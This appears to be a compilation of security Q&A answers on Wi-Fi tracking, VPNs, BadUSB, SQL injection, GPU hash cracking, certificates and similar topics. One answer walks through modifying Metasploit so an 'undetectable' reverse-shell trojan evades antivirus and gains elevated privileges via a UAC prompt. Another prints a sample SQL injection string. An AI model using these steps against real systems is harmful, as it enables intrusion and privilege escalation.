At Starbucks, is my MAC address sent when I accept the terms of service for free Wifi?

A MAC address more-or-less* uniquely identifies a network card, and is only accessible to other devices on the local (non-routed) network.  So yes, the Starbucks network can and does know your MAC address, and certainly could be sending it up into their database somewhere.

Concern #1: That doesn't mean they're "recording traffic" (although, of course, they could do that as well).  It just means they're taking a fingerprint of your device and making note of the fact that you were there.

Concern #2: It's unlikely they're sending the address to anyone but their own database.  There's usefulness for them to track who uses their network, how often, and at which locations.  There's very little usefulness in supplying that address to anyone else, and good reasons (your concerns among them) not to.

Concern #3: They might very well use Javascript to populate your MAC address into the submission you send when you agree to use their network.  Nothing nefarious there - remember, they own the network, they know your MAC address, and could do whatever they wanted with that information without routing it through your browser.  If you wanted you could mess with it if they're sending it through your browser - although, of course, you could mess with the system by changing your MAC address anyway.

Concern #4: Unless you pay with cash each and every time you go to Starbucks, your MAC address is the least traceable thing about you.

In summary: don't worry about it.  They're doing standard consumer-level tracking, and you're a consumer.

Note* While a MAC address is intended to uniquely identify a network card, many cards allow the address used to be reconfigured.  You can probably set your MAC address to whatever you'd like, as long as it doesn't match another MAC address in use at another network.  So you could use a different MAC address each time you went to a Starbucks and thwart their tracking.  That's why I refer to it as consumer-level tracking - it's cheap, easy, and while it can be tricked it's not worth most people's time to do so.


Is a company asking for my password over the phone a bad sign?

It does not mean that the passwords are in plaintext. It is possible that they could process your password, when you originally set it, to convert it into the numberpad equivalent and store that, either in plaintext or hashed.

There are a few different ways that this process could be concerning, and worth a question or two about how they process passwords.

My greater concern is how they handle the password you type into your phone. That is most likely stored in their help desk system without any protections. Whatever they do to compare it to your stored password, there must also be a process to protect the password you type in.

My guess is that they calculate the numperpad equivalent of your password and store that number in plaintext in your account notes. It is then compared against what you type in when prompted on the phone.


Can port numbers be detected from VPN traffic?

(I'm mostly referring to OpenVPN here.)

  When connecting to a remote server (e.g. via SSH) via a VPN, is the port-number used for the connection visible in traffic intercepted in between the client and VPN server?

No. Your ISP, room mate, or any other possible man-in-the-middle between you and the VPN (without the ability to decrypt the traffic) doesn't know anything about your connections within the VPN tunnel. They don't know which ports you're connected to or whether you're using the tunnel for SSH or to browse the web.1

That is, all of the tunneled traffic between you and the server is TLS-encrypted and sent over a single TCP/UDP connection. An eavesdropper can only observe that, for instance, there is encrypted traffic over UDP between your port 12345 and the VPN's port 1194 and they may therefore deduce that you are using OpenVPN (and eventually identify the VPN provider by the server IP), but they don't know not what you are doing. The VPN provider however is obviously able to read (and log) your traffic.

  Would connecting via Tor (instead/in-addition) help this?

Yes, that would also work. If you tunneled your traffic through Tor you would similarly hide these connection details from a man-in-the-middle between your machine and the Tor network. However, they could tell that you're using Tor and the exit node would be able to inspect your tunneled traffic.

1Although they could try to find patterns in your traffic to get an idea what you might be doing.


Was Goggle.com actually crazy malware in 2006?

Let me summarise what you are seeing:

someone navigates to a typo-squat site (goggle.com)
the browser is then flooded with numerous pop-ups, warning windows, etc.
eventually, the anti-virus starts to detect malware
the machine crashes

It is difficult to think that there are young technology professionals now for whom that sequence is new and strange. For those of us browsing the Internet in 2006, this was a reality. I experienced this, myself, more times than I could count.

To answer your question, this was neither crazy nor limited to this one site.

The malicious (or hacked) website was coded to flood the user with ads and legitimate-looking Windows warning windows. When the user tried to close the windows, dozens more sprouted until the machine crashed. For many people, events like this are what got them familiar with the Windows Task Manager, which was the only way to prevent a total machine meltdown.

The warning windows were, in fact, browser windows, and when you interacted with them, it translated the user's click into an "OK" for installing something. That's how the viruses got installed.

So, these little gems crashed your machine (causing a reboot) and installed all manner of viruses. It was sometimes impossible to remove them without "nuking from orbit".

Many layers of security now exist in browsers to prevent that type of problem (although the attackers continue to evolve). Pop-up blockers, now standard, was the first thing to be used on the browser side. UAC was one of Windows first attempts to block this sort of application behavior from the OS.


What is more risky? Database Server in DMZ or Trusted Network?

One solution: put the database server in your trusted network, make sure you only allow database ports through.

Maybe a better one would be to:

Turn on the OS firewall on the db server and lock it right down
Give it a DMZ NIC and a Trusted Net NIC
Make sure your database security is locked down and everything is blocked in and out except the traffic you want (i.e. allow AD traffic on the trusted NIC and not on the DMZ, etc.)

That would give you, logically, the topology you described, but it will increase the risk if your database server is compromised.

Is it worth keeping the database server off the domain? That'll mean you should be able to have only the SQL ports open.

Maybe set up a pair of named instances? One for external one for internal - then you can logically separate everything.


The direct answer to your question is pretty straightforward and reassuring, I think.  That being: There is no apparent evidence that any actual, in-the-wild attacks have occurred where malware has written to the firmware of a sound card. (Meaning I don't recall ever having read of a confirmed case of that happening, and some searching on Google revealed no such confirmed cases either.)  In fact, I haven't even read of or discovered any proof of concept cases where that has been demonstrated. (Note: If anybody knows of any source that documenting otherwise please feel invited to share it in the comments.)

And really, I don't know that that lack of documented cases is terribly surprising. Discrete sound cards really aren't that common in today's PCs, and if you wanted to write malware that could hide in a sound card's firmware you'd probably have to have to develop and test different code for each make and model of each card you wanted to be able to infect. A bit like the NSA had to do with its hard drive firmware-infecting efforts. So, perhaps it makes some intuitive sense that we haven't yet seen malware that tries to persist in sound card firmware.

So, from a practical standpoint I don't think badusb-like firmware infection is really something that's worth devoting any real worry to. There's no indication that any malware trying to use that approach is running around out there in the wild (at this point, anyway), let alone anything prevalent enough to necessitate taking the course of junking a partly-customized sound card out of fear of it.

That being said... I'll close with two caveats:

Rewriting the firmware of internal PC components is indisputably possible, and has (although rarely) actually occurred in the wild.  Aside from stuff that hits main BIOS or UEFI, security researchers have indeed done proof of concept demonstrations of firmware-alteration in network cards.  There is some indication that USB host controllers are quite viable targets, and possible attacks on internal components in general have often been written about as feasible. And, as mentioned above there is open source confirmation that highly-targeted, real-world attacks involving hard drive firmware alteration have occurred. So it's not really that sound card firmware-alteration would be an out-of-the-blue, amazing new technical surprise.

If you're a target worth detailed attention from the NSA or other very-high-end nation-state threats then pretty much any theoretically plausible attack has to be considered as something you need to be on guard against. And getting the firmware on a sound card altered by sophisticated, persistent malware would definitely be in the category.  On the other hand, it you were a target of such importance the question of whether or not to junk a sound card would probably be pretty far down on your very, very, very long list of security matters to worry about.

So, you would almost certainly be just fine.

edit:  Replying to question's edit #3:

Yeah, I think we are talking about the same thing, although in slightly different ways and terms. If I understand you you're asking about whether a good, correctly-operating sound card can get a malware infection of some kind and afterward turn into a maliciously operating perhipheral that tries to lie to your computer that it's a USB keyboard (or another Human Interface Device) and start feeding it "key presses" that, say, open a command prompt and enter commands into the system, right?

Well, the way that that malicious attack happens with something like a USB drive is that the firmware on the drive that tells the drive what it's supposed to do has to get overwritten with new instructions.  That's why a USB drive can start to act like a keyboard or other human interface peripheral: because the overwritten, maliciously-changed firmware tells it to. (More details about exactly how that works to make badUSB possible are here.) Unless you can correctly rewrite the firmware for a USB drive to do what you want to do, create an attack that alters the firmware of USB drives you want to turn malicious, and finally expose a USB drive to that attack something like badUSB can't happen.

Basically the same thing is like case with stuff like BIOS chips in PCs, or with network cards, or hard drives, or graphics cards, or, yes, sound cards. And that's where you get to what my answer discusses: while it might be theoretically possible that an attacker could pull off what you suggest, there's no evidence right now that any such attacks have occurred in real life with sound cards.

edit: replying to question edit #4

Okay, so I think I'll give an answer one more quick shot here. I have reread the question and the subsequent edits with care. Although I'm still not exactly quite sure why we're not on the same page, perhaps one more quick effort can fix that. So...

First, If the question you're asking is: "Assume this USB sound card has somehow been infected by BADUSB or something very like that.. could it do these BadUSB attack things?" I suppose the only responsible answer I could give with be: if something can be infected by BadUSB, one really should err on the safe side and assume that it could act like BadUSB. Meaning it could potentially spread nastiness to a PC or device that you might plug it into.

Still assuming the card is infected with BADUSB, if you wanted to use it anyway you might ask "Are there things that I might do that might lessen or almost eliminate the risk that my PCs and other devices might get infected with badUSB themselves from the sound card?" Well, I think the answers to this question and this question address that more comprehensively than I could.  So I'll just point to those, aside from offering the generic observation that introducing any element that you know to be infected with malware to your technical setup invariably brings at least some degree of risk with doing so. Even if good countermeasures & mitigations are available to reduce that risk, that's a different thing from eliminating that added risk altogether.

But all of what I just said is based on starting with that one absolutely critical assumption: that your recently acquired USB sound device is infected with BadUSB or something like it.  And to reiterate what I said previously: As you've laid out the facts there is a very, very, very low likelihood that that is actually true in your case.  There is no recorded incidence (That I've found, anyway.  Or that anyone else has mentioned.) of an infected USB sound card occurring anywhere, either in the wild or even in a researcher's lab. At all. Thus, my original non-advice advice: unless you would be a target of exceptional importance to some person or organization with major, major technical chops worrying about the firmware in your purchased USB sound card being infected with anything almost certainly isn't worth expending the mental energy to do so.


Can native SQL code be vulnerable? To what?

In this case, persistent (stored) XSS has nothing to do with the actual risk of SQL Injection (SQLi). Stored XSS is one attack vector but not required for SQLi. The two golden rules of protecting against SQLi are:

Sanitize all user-supplied input (including URIs)
Use parameterized queries instead of concatenating raw SQL

Always validate your site after any code updates to ensure the expectations (assumptions) are still holding true. If you are trying to determine impact consider the following source for additional info on SQLi.

EDIT Updated to reflect updated question

Assuming you're asking if malicious code, stored as data in the database, can be harmful to the retrieving query, process, etc. the answer is: it depends. Typically, the malicious code would not be SQL syntax but HTML/JS. For this reason, it is equally (and sometimes more) important to do output sanitization to reduce the risk to the consuming entity (db, webserver, user, etc.).


Why are GPUs so good at cracking passwords?

To complete @Terry's answer: a GPU has a lot of cores (hundreds). Each core is basically able to compute one 32-bit arithmetic operation per clock cycle -- as a pipeline. Indeed, GPU work well with extreme parallelism: when there are many identical work units to perform, actually many more than actual cores ("identical" meaning "same instructions", but not "same data").

Some details, for a somewhat old NVidia card (a GTX 9800+, from early 2009): there are 128 cores, split into 16 "multicore units". Each multicore can initiate 8 operations per cycle (hence the idea of 128 cores: that's 16 times 8). The multicore handles work units ("threads") by groups of 32, so that when a multicore has an instruction to run, it actually issues that instruction to its 8 cores over 4 clock cycles. This is operation initiation: each individual operation takes up to 22 clock cycles to run. You can imagine the instruction and its operands walking into the circuit as an advancing front line, like a wave in a pool: a given wave will take some time to reach the other end of the pool, but you can send several waves sequentially.

So you can maintain the rhythm of "128 32-bit operations per cycle" only as long as you have at least 22 times as many "threads" to run (i.e. a minimum of 22·128 = 2816), such that threads can be grouped by packs of 32 "identical" threads which execute the same instructions at the same time, like hip-hop dancers. In practice, there are some internal thresholds and constraints which require more threads to achieve the optimal bandwidth, up to about 4096.

I could achieve close to 99% of the optimal bandwidth with a SHA-1 implementation. SHA-1 uses a bit more than 1100 32-bit operations (that would be around 900 on a CPU, but a GTX 9800+ has no rotation opcode, so rotations must be split into two shifts and a logical or), and the GPU ran at 1450 MHz, for a grand total of about 160 million SHA-1 computations per second. This can be achieved only as long as you have millions of SHA-1 instances to compute in parallel, as is the case for password cracking (at any time, you need 4096 parallel SHA-1 to feed the GPU cores, but you also have to deal with I/O costs for input of potential passwords, and these costs will dominate if you do not have a lot of SHA-1 instances to process).

The host PC, on its CPU (a quad-core 2.4 GHz Intel Core2), could achieve about 48 million SHA-1 per second, and that was with thoroughly optimized SSE2 code. A single SHA-1 will use about 500 clock cycles on such a CPU (the CPU can compute several instructions in a single cycle, provided they don't compete for resources and don't depend on each other), but, for password cracking, it is worthwhile to use SSE2 with its 128-bit registers, and able to compute 4 instructions in parallel. With SSE2 constraints, it takes about 800 clock cycles to run four parallel SHA-1, so that's 200 clock cycles per SHA-1 instance. There are four cores in that CPU and the whole thing runs at 2400 MHz, hence 48 million per second.

More recent hardware will be faster, but GPU more so. A GTX 680 sports a whooping 1536 cores, and there are two such GPU in a GTX 690. We are talking billions of SHA-1 instances per second here.

(For comparison, I also did an implementation of SHA-1 on the Cell processor, i.e. the CPU in a PS3 console, with its 8 "SPU" coprocessors. One SPU was not available. With the 7 others, I reached about 100 million SHA-1 per second, i.e. better than a contemporary big PC CPU, but not as good as a good GPU of the same era.)

Summary: GPU achieve great performance by using heavy parallelism, with hundreds (if not thousands) of cores. This is made possible by pipelining (each individual operation takes many cycles to run, but successive operations can be launched like trucks on a highway) and sharing instruction decoding (since many cores will run the same instructions at the same time).


Securely Store Credentials for Web Application Services in Apache

It really depends what your threat model is.

If we take away everything else and just think about the application, there is basically nothing more you can do to really improve the security of the app. Stay away from esoteric solutions and focus on what is more maintainable and clean. I want to stress clean, as usually security disaster arises from messy situations.

Anyway: if the attacker gets remote code execution under the application user, you cannot restrict access to the configuration in any way - the app has to access it, so can the attacker. If he gets file read capabilities, then storing in a database will protect you from disclosure - even if you have to store the credentials of the db in a file, the attacker won't hopefully be able to leverage those. If he gets SQL injection, access to the db (in the unlikely case this does not translate into remote code exec) then having them in a file is safer. Really, it depends on how your application is designed.

Running Apache as root is really a bad idea (well, disabling the privileges drop I mean). Instead of implementing one-time solutions focus on stuff that is going to stay in place without more hacks and get the benefits of the pentest. passing stuff via the stdin for instance will make it very hard for the testers to retrieve the credentials, but in the long run you'll likely end up with a bash script doing the job... which is by far worse than the other solutions.


Is sql injection possible on this websocket?

For sql injection to work, you need the program to construct a string.

SELECT * FROM table WHERE itemid = "$VALUE"

So, $VALUE = "-1" will produce:

SELECT * FROM table WHERE itemid = "-1"

$VALUE = "1\" OR itemid is not null and "a" = \"a"

will fill out as:

SELECT * FROM table WHERE itemid = "1\" OR itemid is not null and a = \"a"

Which should return everything......

However, they may be using bind parameters and since -1 and 1 are both integers, the binding logic will simple fill in the value and not let you break out of the quotes.

res = sql.query(q, [$VALUE])

if (res.error) return res.error

in that case, if $VALUE is the injection string, the library will not interpret the other clauses as commands. It will treat the whole value as a single variable. It doesn't do string manipulation, but keeps the command part and the variable part completely separate. It says to mysql:

here is the command: "SELECT * FROM table WHERE itemid = ?"
the command has one variable. here is the first variable: $VALUE

And because it's the server, and it has a ton of logic to figure out what the command part is and the variable parts are, it says ok, thanks for keeping those separate, it makes my job easier and i won't parse the variable as a command. and so the extra "and"s, "or"s, and "="s are not interpreted as commands but as the one value.


'Trusted CA Certificates' and 'Trusted remote Certificates'

Trusted CA certificates are validated by a third party, called Certificate Authority. In a cryptographic sense, CAs are a trusted third party (TTP) validation authority in a public-key infrastructure (PKI):

  The primary role of the CA is to digitally sign and publish the public
  key bound to a given user. This is done using the CA's own private
  key, so that trust in the user key relies on one's trust in the
  validity of the CA's key. When the CA is a third-party separate from
  the user and the system, then it is called the Registration Authority
  (RA), which may or may not be separate from the CA. The key-user
  binding is established, depending on the level of assurance the
  binding has, by software or under human supervision.

In a nutshell, they provide for an easier to establish trust of a client to the server they're connecting to, and the root certificates (CA public keys) used to verify such CA issued certificates come pre-installed on many web clients (browsers, email clients,...) by default, meaning they can be used in a transparent way, where no additional user interaction is required.

The assumed levels of end user's trust in connecting to the right server usually boil down to what is called certificate validation type:

Domain validated certificates: These are most frequent, mainly because they're usually the cheapest CA issued certificates. These are usually validated by sending an authentication token via email to the CA that issues the certificate, and are only validating what their name implies - that the user is really connecting to the domain that the certificate was issued for.
Organisation validated certificate: These certificates carry an additional information about the organisation they're registered to, and in some cases that can be helpful in establishing required trust. Most web clients don't assume much greater trust in such validated certificates than domain validated, and don't visually differentiate between them either.
Extended validation certificate: As the name implies, these certificate type owners are most rigorously validated. They are not cheap and are supposed to provide for the highest levels of trust of the end user that the certificate owner is indeed the one they're supposedly connecting to. Criteria for issuing such certificates is described in more detail here. An added advantage is, that they're also clearly marked in most web clients by a green address bar, a green lock, or similar.

Now, what you describe as trusted remote certificate is also known (or perhaps better known) as a self-signed certificate, that the end user manually installs to the list of trusted certificates in web clients they use to communicate with the server that issues them. That is, provided they trust the issuer of such a certificate, since they don't provide for any third-party validation of its owner of any sorts whatsoever. They are still useful, as they can be used to encrypt the communication between the client and the server (most commonly for transport layer encryption), but the trust level is something left to the end user to decide. Such certificates are of course free (i.e. can be signed by open source tools, such as e.g. OpenSSL).


Can SD-Card be a vector of a BadUSB type attack when used with a USB reader?

I can't say that it's always the case, but all of the internal SD card readers I've looked at were actually USB devices - this puts them in scope for BadUSB.

Internally, an SD card is indeed very similar to a thumbdrive - and there have been attacks against them released. So they can be reprogrammed to change how they behave, just as you can a thumbdrive. So, there is certainly something to this.

Myself and Brandon Wilson released the first public BadUSB code - when we did this we also looked at SD cards, trying to see how they could be leveraged to perform similar attacks. The answer we came up with was that there wasn't a reliable way to do it.

The attack vector here would be a malicious SD card would behave in a non-standard way to exploit a vulnerability in the firmware of the reader - as it's the thing connected to USB, and potentially able to do more interesting things - in order to take control of the USB interface directly or apply modify the reader's firmware to facilitate further attacks.

The problem with this? You have to target specific readers (by controller & firmware version), which means that it has some value as a targeted attack, but can't be made reliable or generic enough to have a large scale impact. So we didn't pursue it in our research. Of course, it's worth noting that there aren't a huge number of companies that develop the controllers that the readers use, so there's some potential for targeting a relatively small number of common controller / firmware combinations and covering a decent percentage of the market.

So, to answer your question - it isn't a secure proxy, but it is a complicated proxy. If an attacker is able to learn about your specific configuration, and is willing to spend the money on research and development - it is possible. But, that said, if you are facing that type of attacker, there are almost certainly better options for them.

In general, pretty much everything that connects to USB, from mice to the internal root hub, are potential targets of BadUSB attacks. Some are harder to leverage than others - thumbdrives are ubiquitous and easy to modify, so they became the face of the attack, but they are far from alone. If it's connected to the bus, there's always a risk that it could be modified with malicious firmware.

It's been pointed out many times, but keep in mind that BadUSB isn't really a vulnerability, it's a feature. Everything that you see in a BadUSB attack is compliant with the specification - that's why there isn't an effective defense. The host has no way to know if the behavior is desired or not.

It's also important to remember that BadUSB isn't just devices showing up as another device type - it can change how the device behaves, while appearing to act normally. One of the demos that we released was a hidden partition that was only accessible if you know the right trick - we had also toyed with self-destructing drives, and drives that made a backup copy of anything deleted, so that even if the drive is formatted, it still can contain sensitive information (we didn't release these).


What security policies and practices could one practice to safegaurd against being inebriated?

I don't think there is one good answer but here are some suggestions. You could utilize a captcha with extra visual artifacts or more characters than normal on every login. Perhaps a simple riddle or a bit of javascript that forces a user to click on targets with a time limit like this. I think the most feasible, reliable option would be requiring two-factor identification with a PIN from a phone app that will only be displayed on the phone if the user passes a breathalyzer test. Such devices do exist for Android and at least one option exists for PC although I think a smartphone-based option is superior. Hopefully this helps or at least provides some additional ideas.


Does an ISO27001 audit require users to reveal their passwords?

Absolutely not!

ISO 27001 requires management of passwords and requires having password policies. Someone in your company is interpreting this as needing to inspect all passwords in the clear to ensure that they meet the password policy.

But this is a terrible way of doing this audit. Technology should be in place to force people to comply with password policies when they make passwords, not to inspect them by hand once they are made.

There is a wide-ranging series of failures if they want to audit passwords by looking at them ...


Does restricting the names of computers allowed to connect to a wifi network provide any security

Short version
No.  All you need is WPA2-AES with a custom SSID and a strong passphrase.  All this assumes a "home" scenario where the AP and clients are using a PSK (preshared key).  In Enterprise settings there are a couple of other attack vectors but one nice thing about a PSK is it greatly simplifies the attack surface.  It pretty much comes down to the attacker can guess they key or they can't.
Slightly longer version
First of all I have never seen computer name filtering that actually filters based on computer name.  I am pretty sure what you are seeing is just a more consumer friendly way to enable MAC filtering.  When you allow "Dan-Laptop" in the config, the AP is adding the MAC address for "Dan-Laptop" to the ACL.
Even if your router implemented hostname filtering which worked independent of the MAC addresses, it wouldn't change the answer.  The only thing more trivial to spoof than a MAC address would be a hostname.  The ability to rename a computer name is part of the underlying operating system.

A cryptosystem should be secure even if everything about the system,
except the key, is public knowledge.

The MAC addresses and hostname of clients are public knowledge.  The ip address assignments (static, or restricted dhcp) of systems on the LAN are public knowledge.  The SSID, channel usage, frequency and even the presence of the AP radio are public knowledge.  Yes so called "hidden" SSID serves no security purpose either, then again it was never intended as a security feature.  Assume the attacker already knows all of that information.  There is one thing which is not public knowledge and that is the PSK (passphrase) so your entire security boils down to a strong cryptosystem (WPA2) and an unguessable passphrase.
I think the desire for something more is related to hearing about how security is hard and defenses should be layered.  They certainly should in in complex scenarios with multiple variables as it is often difficult to model all the potential risks.  In this case however authentication is straightforward and the risk model is simple.  WPA2-AES is currently "unbroken".  That means the entire security of your AP boils down to can the attacker guess the passphrase.  If they can you lose.  It really is that simple and it is the way strong cryptography should work.  The system is secure even though the attacker knows everything about the system except the secret (key).


Does having a VPN service mean accessing my email etc. over public free open WiFi mean I have security/privacy?

Barring unforeseen weaknesses in protocols or implementations of your VPN service, this should give you a reasonable expectation of privacy. All of your traffic that traverses the VPN will be encrypted from your system to the VPN provider. At that point it will travel normally.

To your specific question of emails and login details, those should also be protected by this. Additionally, if you are viewing your email or logging in over HTTPS then your login details or emails should be protected through this encryption mechanism as well. Using HTTPS without a VPN will reveal more details though as not all of the connection data is encrypted (such as the website you are visiting).


Is Access Control Through MAC ADDRESS a practical/secure solution

MAC addresses are completely spoofable.

MAC addresses are not visible to servers over the Internet. They're only visible to computers to which your computer is talking directly over an Ethernet wire (such as your router).

So no.


I didn't wipe my hard drive before I sold it. How would a criminal take advantage?

My suggestion would be to change your work (and possibly other) passwords, just to be on the safe side.

It is quite easy to retrieve data, even after a format, with the proper tools. A quick Google search on "data recovery tools" reveal that a lot of (paid) tools are available to recovery data.

In my personal experience it was possible to retrieve data from a machine that was formatted during a new Windows installation. Even after the OS was re-installed I was able to get back all of the "lost" data.

Although the likelihood of someone doing this is low, you shouldn't take any chances on your passwords. At this point I do consider them compromised.


BitLocker Recovery Key and Microsoft Account Password

BitLocker is technology to encrypt the disk drive pror ANY software, including OS, try to access it. Your Microsoft account acts on OS level as user credentials and in practice there could be more than one registered user account on one PC. Which automatically make nonsense to mix the encryption key with the user accout.
Moreover, normal account password length is between 8 and 12 characters, when BitLocker key is much longer and complex.
Finally, but not last, Microsoft provide additional methods of managing BitLocker key in corporate environment through ActiveDirectory, which is a level above your private home usage.


Client Authentication by certificates in Google APP Engine java

The point of user certificates is that there are things which are stored on the user side, in particular the user private key. Certificates for authentication will be used as part of SSL (HTTPS is HTTP-within-SSL).

In SSL things go the following way:

The client connects. The client and server talk to each other.
The server shows his certificate (which contains the server public key). The client verifies that the certificate is valid (properly signed by a CA that the client trusts; contains the intended server name; not expired; and so on) and then uses the server's public key to do the asymmetric key exchange from which is derived the session key used to protect the subsequent data flow.
The server may ask for a client certificate. In that case, the client should send its certificate (which contains the client's public key) and demonstrate mastery of the corresponding private key.

These steps are all done in the SSL protocol and you just have to let them run. Your job, though, on the server, is to validate the client certificate. What is that ? A certificate, by itself, proves nothing. Indeed, everybody can create a self-signed certificate with arbitrary contents; you just did it yourself. What makes a certificate useful is how it has been generated in the first place.

In your case, there are mainly three possibilities:

The server has a copy of all user certificates (not the private keys) and thus can compare the received certificate with all the known user certificates. A certificate is thus validated by virtue of being bit-to-bit equal to a known certificate. Since the certificate was created client-side, this requires an initial registration phase where the user presents his certificate to the server.
The server issues the certificates to the users. This means that in order to create a certificate, some code on the user side (e.g. in his browser) generates a private/public key pair, sends the public key to the server, and the server puts it in a brand new certificate along with the user name, and the server signs it. The resulting certificate is sent back to the user. Later on, when the user connects, the server recognizes the user certificate by virtue of it being signed by the server itself: the server uses its own public key to check the signature on the user certificate. If that signature is valid, then the server knows that the certificate contents are trustworthy, in particular the user name.
Same system as situation 2, except that the certificate issuance is delegated to another, dedicated system which will be called a Certification Authority. The user obtains his certificate from the CA, without involving your server at all. Your server can validate the certificate sent by the user by checking that it is properly signed by the CA; the server has a copy of the CA's public key, and trusts the CA for issuing certificates only to properly authenticated users.

Only the third case actually makes sense. Certificates are useful in situations where the assertion of identity (by the CA) is disjoint from the usage of said identity (in your server). If the server is itself the CA, then using certificates offers no advantage over a simpler password-based authentication (the "password" can be a long sequence automatically stored by the browser; this is known as a cookie).

If you are still intent on using certificates, then you must first be clear in your head about what a CA is, what it does, and where it will fit in your system.


It adds an iframe to your page which points to some browser exploits to infect anyone viewing your site. It then sets a cookie which tells it not to try again, so it only puts the iframe on the page the first time you access it (which makes it somewhat less obtrusive).

The usual way these get added to your files is that you leaked your password for admin access to the server, after getting infected by browser exploits yourself. In that case the course of action is (1) scan all client machines that have accessed the site (with multiple AVs, as AVs are unreliable); any infected machines should be reinstalled from scratch (AV removal is very unreliable); (2) change passwords; (3) if you are using FTP, stop doing that; (4) back up any data, wipe the server, restore code from known good backup/source control.

Other types of compromise are possible (eg vulnerable web app deployed—check your logs for suspicious access and ensure all applications are updated), but FTP account credential compromise is the most common source of this kind of intrusion today.


Domain socket authentication as in MySQL and PostgreSQL secure?

The MySQL SO_PEERCRED authentication is fairly recent, it was added in version 5.5.10, March 2011. The similar Postgres authentication is a lot older. (Note that Postgres also supports ident, RFC 1413, authentication; MySQL does not, that would be another plugin, perhaps someone will write it.) The relative newness of the feature in MySQL would be one reason you don't see a lot of web apps using it.

The other reason is that, once the app gets enough use, the first thing you'll do for performance or reliability is to move the database to a different host, whereupon you'll have to set up a password (or some other method of authentication) anyway.

As far as security, however, I would say this method is very secure. It depends on the kernel for the security guarantee, that's all.


Permission to a user in a subfolder inside a folder to which he does not have access

Always use the Advanced Security Settings, where you can see the inheritance options, too.

Your DP_Preven needs:

Allow Read & Execute to folder X\ in order to traverse to Y\
Allow Modify to Y\*
since Z\ doesn't inherit permissions from X\, there's no need for additional Deny.

Here, the Principal DP_Preven permissions for F\ & file are inherited from Y\:

               Access       Inher.  Applies to

X\             Read & exec  None    This folder only
├── Y\         Modify       None    This, subf., files
|   ├── F\     Modify       X\Y\    This, subf., files
│   └── file   Modify       X\Y\    N/A
└── Z\         ---          ---     ---

The Modify is better than Full control as it doesn't allow deleting self i.e. folder Y\.

If Z\ had Allow permission inherited from X\ or its parents, then you need to either disable inheritance or add a Deny that always overwrites any Allow, but I This folder only easier to manage, since you don't have to remember to change the settings for every new subfolder separately.


How to detect infected devices on your local network

Most of the malware in our network is detected by the odd traffic it generates.
For example, when a device on the network is communicating with a known bot command and control network, we know it immediately.  Infected devices will also try to communicate in unexpected ways with other devices on the network and this is also detected.  We implement (and adjust) rules about what traffic generates alerts.  One such rule is attempted communication with addresses that were registered within last 14 days.

Of course, it is an arms race as malware comes up with interesting ways to evade such detection.

Second most common way is the anti-virus scans we do.  Brand new malware won't have a signature, but eventually the signatures are known.

I know you are talking about a home network, but the same technique applies.  You would have something like Snort installed and write signatures about what traffic is allowed between your Windows machine and that DVR described in the article.  Malware communication will hopefully trigger the alert in Snort so you can detect the infection.


Is HTTPS necessary for password change if user has already logged in with HTTPS?

In fact, any site that uses a combination of HTTP and HTTPS will be vulnerable to man-in-the-middle attacks, and most will also be vulnerable to Firesheep-like attacks that capture the session cookie by eavesdropping on the HTTP connection.

It is not enough to use HTTPS for just the login and changes in account information.  Sites need to use HTTPS for everything, if they want to be secure against man-in-the-middle attacks (e.g., if they want to be secure for users who are connecting over open Wifi).

See the following questions on this site:
What are the pros and cons of site wide SSL (https)?,
When are HTTP session cookies at risk over Wi-Fi?, and
What sites are still vulnerable to FireSheep?.


Custom Metasploit payload with UAC bypass

Ran into the same issue when reproducing.

UPDATE:

When using the windows/local/ask exploit, it seems you do not need to set a payload with it. In the windows/local/ask exploit you can set a reference to the undetectabletrojan.exe, which will then be executed with elevated privileges through UAC. However, as pointed out by @SilverlightFox, the ask exploit always uses a self-generated payload which is easily detected by AV. To counter this, some changes in the /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb are required.

Code changes

Open /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
Edit the def shell_execute_exe method so that it looks as follows (pastebin):

def shell_execute_exe(filename = nil, path = nil)
    exe_payload = generate_payload_exe
    payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
    payload_path = path || get_env('TEMP')
    cmd_location = "#{payload_path}\#{payload_filename}"
    if filename == nil
     print_status("Uploading payload to the filesystem...")
     write_file(cmd_location, exe_payload)
    else
     print_status("Using #{payload_filename}...")
    end
    command, args = cmd_location, nil
    shell_exec(command, args)
  end

Reload msf

Use the exploit

The exact steps are:

Generate an undetectable reverse shell exe (let's call it undetectabletrojan.exe)
Get a meterpreter session with no privileges
Upload undectabletrojan.exe via the non-privileged session (e.g. to c:\tmp)
Background this unprivileged session and set up a new exploit (windows/local/ask)
Set the following options of the windows/local/ask exploit:

set filename undectabletrojan.exe
set path c:\tmp

Even though you did not set a payload, you SHOULD set the LPORT and LHOST options, apparently the ask exploit always uses a windows reverse_tcp payload..
exploit
You will have a second session, privileged.

The fix is to modify /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
.

At line 23 it mentions  print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
Modify this to: print_status("Uploading #{payload_filename}...")
Save
Exit msfconsole
Make sure to run 'reload-all' after restarting
msfconsole

Then it worked for me, although I had to restart msfconsole a couple of times before the change came through. Let me know what it says.


Is it safe to store GPG encrypted data publicly eg on GitHub?

I generally subscribe to the idea that encryption has an expiry date. So assuming you follow best-practice for key length and cipher selection, the best practices generally assume a security horizon of about 30 years.

So if after 30 years, this data would still be sensitive information... then you would want to select either stronger-than-normal key lengths and ciphers (ie. look at post-quantum cryptography), or consider other ways to reduce your risk of exposure. For example, not posting the content publicly on GitHub. But keep in mind that the 30-year guidance provided by organizations like NIST to set industry practices is based on historical rates of churn in cryptography. If a new exploit renders a cipher insecure, your data could become readable by an attacker in a much shorter time.

But if the content is only sensitive for a short period of time - like an API key that is easy to revoke and change, or has an expiry date - then you're probably ok to post the encrypted data with some confidence that no one will be able to read the content.


is it possible to sniff email content inside network?

Your case is common in the corporate world, it is usually described as corporate MiTM. When you connect to the Internet from inside your network, you're likely connecting to a gateway/router the belongs to your company first. That router can simply hand you public key in a "fake" certificate whenever you connect to an SSL-enabled site and fool your browser into thinking it is the real website. Thus, making your SSL connection completely transparent.

Of course, when that happens, your browser should give you a warning that you're being handed a fake certificate. BUT, in a cooperate environment, you're likely given a company-owned computer and/or connecting to the company's Domain Controller, which gives the sysadmins enough access to install the company's fake certificate to the trusted root certificate store in your computer, which will suppress the browser's warnings.

